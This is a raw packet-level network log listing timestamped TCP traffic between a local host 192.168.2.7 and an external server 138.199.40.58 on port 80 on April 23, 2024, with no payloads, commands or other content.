Apr 23, 2024 08:39:58.822026968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822077990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822144032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822176933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822228909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822241068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822254896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822261095 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822299004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822313070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822340012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822359085 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822365999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822377920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822384119 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822390079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822398901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822401047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822418928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822433949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822443962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822447062 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822464943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822477102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822485924 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822535038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822545052 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822545052 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822547913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822560072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822582006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822604895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822705984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822726965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822751045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822772980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822782040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822890997 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.822910070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822921991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822947979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.822969913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823062897 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823084116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823174953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823196888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823210955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823235989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823252916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823252916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823273897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823287010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823292971 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823338985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823338985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823360920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823374033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823404074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823420048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823427916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823612928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823626041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823649883 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823671103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823690891 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823718071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823730946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823738098 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823741913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823760033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823762894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823782921 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823806047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823826075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823841095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823863983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823904991 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.823961020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.823993921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824007034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824013948 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824027061 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824059010 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824090958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824147940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824161053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824172020 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824194908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824206114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824206114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824295044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824301958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824315071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824326992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824338913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824348927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824377060 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824433088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824496031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824508905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824516058 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824553967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824553967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824562073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824573994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824588060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824608088 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824632883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824651957 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824655056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824672937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824708939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824728966 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824740887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824748993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824785948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824836969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824850082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824858904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824887991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824908018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824923992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824944019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824948072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824961901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.824968100 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.824980974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825145006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825170994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825222015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825251102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825263977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825270891 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825314999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825314999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825346947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825387001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825406075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825448036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825460911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825469971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825473070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825480938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825505972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825525999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825586081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825606108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825638056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825659037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825740099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825761080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825803995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.825803995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825875044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825922012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.825942039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826046944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826070070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826081991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826101065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826106071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826118946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826127052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826178074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826191902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826246977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826260090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826298952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826304913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826304913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826365948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826380968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826445103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826463938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826486111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826507092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826508999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826529980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826544046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826546907 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826559067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826591969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826667070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826669931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826678991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826692104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826711893 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826741934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826761961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826783895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826801062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826818943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826838970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826842070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826863050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826908112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826920033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826926947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826939106 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826942921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.826961994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.826976061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827001095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827033043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827045918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827053070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827058077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827065945 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827080965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827100992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827104092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827124119 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827124119 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827184916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827198029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827208042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827208996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827228069 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827231884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827250004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827256918 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827261925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827274084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827280045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827343941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827601910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827693939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827716112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827728987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827743053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827783108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827783108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827825069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827863932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827877045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827884912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827919006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.827927113 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.827927113 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828002930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828022957 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828041077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828061104 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828145981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828166008 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828171015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828191042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828223944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828243971 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828324080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828346968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828373909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828391075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828459978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828486919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828509092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828530073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828552008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828573942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828587055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828607082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828628063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828648090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828687906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828732967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828747034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828766108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828797102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828828096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828902960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828915119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828927040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828939915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828947067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.828964949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.828984976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829003096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829082966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829128027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829139948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829149008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829153061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829171896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829175949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829189062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829313040 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829335928 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829376936 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829408884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829483986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829546928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829561949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829600096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829613924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829619884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829632044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829637051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829679012 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829679012 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829698086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829721928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829763889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829782963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829817057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829829931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829835892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829854012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829871893 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829871893 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829900980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829915047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829921007 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829926968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.829936981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829963923 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.829965115 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830071926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830085039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830096960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830117941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830140114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830162048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830207109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830224037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830425978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830825090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830841064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830852985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830866098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830871105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830878019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830884933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830890894 CEST	80	49704	138.199.40.58	192.168.2.7
